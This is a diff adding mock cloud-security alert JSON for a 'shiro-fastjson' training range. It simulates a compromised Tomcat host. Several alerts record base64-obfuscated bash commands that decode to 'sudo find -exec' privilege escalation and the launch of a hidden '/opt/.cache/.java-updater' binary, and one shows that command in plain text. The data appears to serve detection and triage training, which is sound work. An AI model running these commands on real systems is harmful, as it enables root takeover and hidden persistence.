  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "linux可疑命令执行", + "HasTraceInfo": true, + "Id": 800000004, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "进程异常行为-可疑命令执行", + "OccurrenceTime": "2026-04-15 13:50:25", + "Stages": "[\"代码执行\"]" + }, + { + "AlarmEventName": "Java应用执行异常指令", + "AlarmEventNameDisplay": "Java应用执行异常指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上的Java进程启动了下载恶意程序、添加后门等高危行为,很可能是因为您使用了存在漏洞的Web框架或者中间件导致。", + "Details": [ + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Java进程被利用执行异常命令。\n \n", + "ValueDisplay": " 该Java进程被利用执行异常命令。\n \n" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17982", + "ValueDisplay": "17982" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17982]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17982]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程", + "ValueDisplay": "Java应用程序创建了异常的子进程" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。", + "ValueDisplay": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "Java应用执行异常指令", + "HasTraceInfo": true, + "Id": 800000006, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "进程异常行为-Java应用执行异常指令", + "OccurrenceTime": "2026-04-15 13:50:25", + "Stages": "[\"初始入口\"]" + }, + { + "AlarmEventName": "可疑编码命令", + "AlarmEventNameDisplay": "可疑编码命令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。", + "Details": [ + { + "NameDisplay": "数据来源", + "Type": "text", + "Value": " 进程启动触发检测\n ", + "ValueDisplay": " 进程启动触发检测\n " + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该命令行存在高度可疑的编码特征。", + "ValueDisplay": "该命令行存在高度可疑的编码特征。" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17982", + "ValueDisplay": "17982" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17982]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17982]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "该进程的命令行参数中存在编码,并且解码后的内容可疑", + "ValueDisplay": "该进程的命令行参数中存在编码,并且解码后的内容可疑" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行参数中存在编码,并且解码后的内容可疑。攻击者在植入恶意代码时,有可能会先进行编码。", + "ValueDisplay": "该进程的命令行参数中存在编码,并且解码后的内容可疑。攻击者在植入恶意代码时,有可能会先进行编码。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "可疑编码命令", + "HasTraceInfo": true, + "Id": 800000009, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "进程异常行为-可疑编码命令", + "OccurrenceTime": "2026-04-15 13:50:25", + "Stages": "[\"防御绕过\"]" + }, + { + "AlarmEventName": "疑似权限提升", + "AlarmEventNameDisplay": "疑似权限提升", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "检测到尝试提升到更高的权限", + "ValueDisplay": "检测到尝试提升到更高的权限" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该命令疑似通过运行允许Sudo的程序,来获取root权限并执行恶意命令。", + "ValueDisplay": "该命令疑似通过运行允许Sudo的程序,来获取root权限并执行恶意命令。" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "18004", + "ValueDisplay": "18004" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "sudo find /tmp -maxdepth 0 -exec bash -c nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;", + "ValueDisplay": "sudo find /tmp -maxdepth 0 -exec bash -c nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "18003", + "ValueDisplay": "18003" + }, + { + "NameDisplay": "父进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash\n
            -[18003]  bash\n
                -[18004]  sudo find /tmp -maxdepth 0 -exec bash -c nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash\n
            -[18003]  bash\n
                -[18004]  sudo find /tmp -maxdepth 0 -exec bash -c nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;

\n" + }, + { + "NameDisplay": "事件说明", + "Type": "text", + "Value": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。", + "ValueDisplay": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测到尝试特权提升的行为。攻击者通常在获取到低权限之后,会尝试提升到更高的权限。", + "ValueDisplay": "检测到尝试特权提升的行为。攻击者通常在获取到低权限之后,会尝试提升到更高的权限。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "疑似权限提升", + "HasTraceInfo": true, + "Id": 800000001, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "进程异常行为-疑似权限提升", + "OccurrenceTime": "2026-04-15 13:50:45", + "Stages": "[\"权限提升\"]" + }, + { + "AlarmEventName": "Java应用执行异常指令", + "AlarmEventNameDisplay": "Java应用执行异常指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上的Java进程启动了下载恶意程序、添加后门等高危行为,很可能是因为您使用了存在漏洞的Web框架或者中间件导致。", + "Details": [ + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Java进程被利用执行异常命令。\n \n", + "ValueDisplay": " 该Java进程被利用执行异常命令。\n \n" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "18000", + "ValueDisplay": "18000" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程", + "ValueDisplay": "Java应用程序创建了异常的子进程" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。", + "ValueDisplay": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "Java应用执行异常指令", + "HasTraceInfo": true, + "Id": 800000005, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "进程异常行为-Java应用执行异常指令", + "OccurrenceTime": "2026-04-15 13:50:45", + "Stages": "[\"初始入口\"]" + } + ], + "TotalCount": 15 +} \ No newline at end of file diff --git a/ranges/shiro-fastjson/sas-mock/baselines.json b/ranges/shiro-fastjson/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..f738773bec7f85efec213717456b34a9dfd76eb8 --- /dev/null +++ b/ranges/shiro-fastjson/sas-mock/baselines.json @@ -0,0 +1,532 @@ +{ + "Count": 6, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-shiro-fastjson-baselines", + "WarningSummaries": [ + { + "RiskId": 43, + "RiskName": "阿里云标准-CentOS Linux 7/8安全基线", + "TypeAlias": "最佳安全实践", + "Level": "high", + "CheckCount": 16, + "HighWarningCount": 2, + "MediumWarningCount": 4, + "LowWarningCount": 0, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:38:06", + "Warnings": [ + { + "CheckId": 52, + "CheckWarningId": 1366428879, + "Item": "密码复杂度检查", + "Level": "high", + "Status": 1, + "Type": "身份鉴别", + "FixStatus": 1, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 58, + "CheckWarningId": 1366428575, + "Item": "检查密码重用是否受限制", + "Level": "high", + "Status": 1, + "Type": "身份鉴别", + "FixStatus": 1, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 3, + "CheckWarningId": 1366422891, + "Item": "设置密码失效时间", + "Level": "medium", + "Status": 1, + "Type": "身份鉴别", + "FixStatus": 1, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 4, + "CheckWarningId": 1366422897, + "Item": "设置密码修改最小间隔时间", + "Level": "medium", + "Status": 1, + "Type": "身份鉴别", + "FixStatus": 1, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 8, + "CheckWarningId": 1366422901, + "Item": "设置SSH空闲超时退出时间", + "Level": "medium", + "Status": 1, + "Type": "服务配置", + "FixStatus": 1, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1342, + "CheckWarningId": 1366422892, 